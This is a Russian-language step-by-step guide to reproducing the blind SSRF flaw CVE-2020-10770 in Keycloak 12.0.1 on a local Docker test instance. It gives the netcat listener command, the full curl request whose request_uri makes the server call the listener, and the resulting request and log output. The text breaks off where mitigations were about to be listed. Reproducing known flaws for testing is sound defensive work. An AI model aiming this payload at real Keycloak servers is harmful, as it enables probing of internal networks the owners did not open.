
Пошаговое руководство по воспроизведению уязвимости слепого SSRF в Keycloak (CVE-2020-10770) с настройкой Docker, конфигурацией слушателя и рекомендациями по устранению.
Это пошаговое руководство о том, как протестировать Blind SSRF (CVE-2020-10770), обнаруженную Lauritz Holtmann и описанную в его блог-посте.
Он также кратко объяснил, как её протестировать. Это лишь более подробное объяснение.
Все заслуги принадлежат Lauritz.
Здесь я использую Docker на Mac OSX.
Мне понадобились три оболочки: одна для запуска экземпляра Keycloak, одна для слушателя и одна для curl-запроса.
Вам нужен запущенный экземпляр Keycloak версии <= 12.0.1.
Вы можете запустить тестовый экземпляр следующей командой.
docker run -p 9990:9990 -p 8080:8080 -e KEYCLOAK_USER=admin -e KEYCLOAK_PASSWORD=admin jboss/keycloak:12.0.1
Посетите http://localhost:8080/auth/admin/ в браузере и войдите с именем пользователя "admin" и паролем "admin".
В левой части переключитесь на меню "Clients". Это приведёт вас к обзору клиентов.

В правой части нажмите "Create", чтобы создать нового клиента. Это приведёт вас на страницу создания клиента.

Выберите разумный "Client ID" для вашего Oauth2-клиента. Я использую "blueteamoauth2client" (это ваш <Keycloak_Client_ID>). Если вы используете другой Client ID, вам придётся изменить параметр запроса в HTTP-запросе атаки. Нажмите save, чтобы завершить настройку клиента.

Теперь вы увидите настройки нашего нового Oauth2-клиента.

На этом часть защиты завершена.
Вам нужен слушатель, который принимает запрос, который мы хотим инициировать с помощью нашего SSRF. Таким образом, IP-адрес и порт должны быть доступны с сервера Keycloak.
В этом случае вы не можете использовать localhost, потому что с точки зрения Keycloak localhost будет находиться внутри самого контейнера.
Чтобы получить IP-адрес в Mac OS, вы можете использовать
for iface in $(ifconfig | grep ^en | awk -F\: {'print $1'}); do ipconfig getifaddr $iface; done
Я решил запустить слушатель на своей хост-системе на порту 4444.
nc -v -l 4444
В другой оболочке вам нужно выполнить один запрос с помощью curl. Вам придётся изменить его под свои требования.
curl "http://<Keycloak_host_or_ip>:<Keycloak_port>/auth/realms/<Keycloak_realm>/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=a&nonce=b&client_id=<Keycloak_Client_ID>&request_uri=http://<Netcat_listener_ip>:<Netcat_listener_port>/"
Важными частями являются:
Таким образом, запрос в моём случае выглядит так
curl "http://localhost:8080/auth/realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=a&nonce=b&client_id=blueteamoauth2client&request_uri=http://192.168.178.222:4444/"
В слушателе netcat вы увидите что-то вроде этого.
bash-3.2$ nc -v -l 4444
GET / HTTP/1.1
Host: 192.168.178.222:4444
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.5.13 (Java/11.0.9.1)
Accept-Encoding: gzip,deflate
bash-3.2$
Это означает, что экземпляр Keycloak выполнил HTTP-вызов к вашему слушателю.
В журналах Keycloak также будут записи об этом.
13:37:28,855 WARN [org.keycloak.services] (default task-16) KC-SERVICES0097: Invalid request: java.net.SocketTimeoutException: Read timed out
at java.base/java.net.SocketInputStream.socketRead0(Native Method)
at java.base/java.net.SocketInputStream.socketRead(SocketInputStream.java:115)
(...)
13:37:28,877 WARN [org.keycloak.events] (default task-16) type=LOGIN_ERROR, realmId=master, clientId=blueteamoauth2client, userId=null, ipAddress=172.17.0.1, error=invalid_request
Чтобы смягчить эту уязвимость, вы можете либо: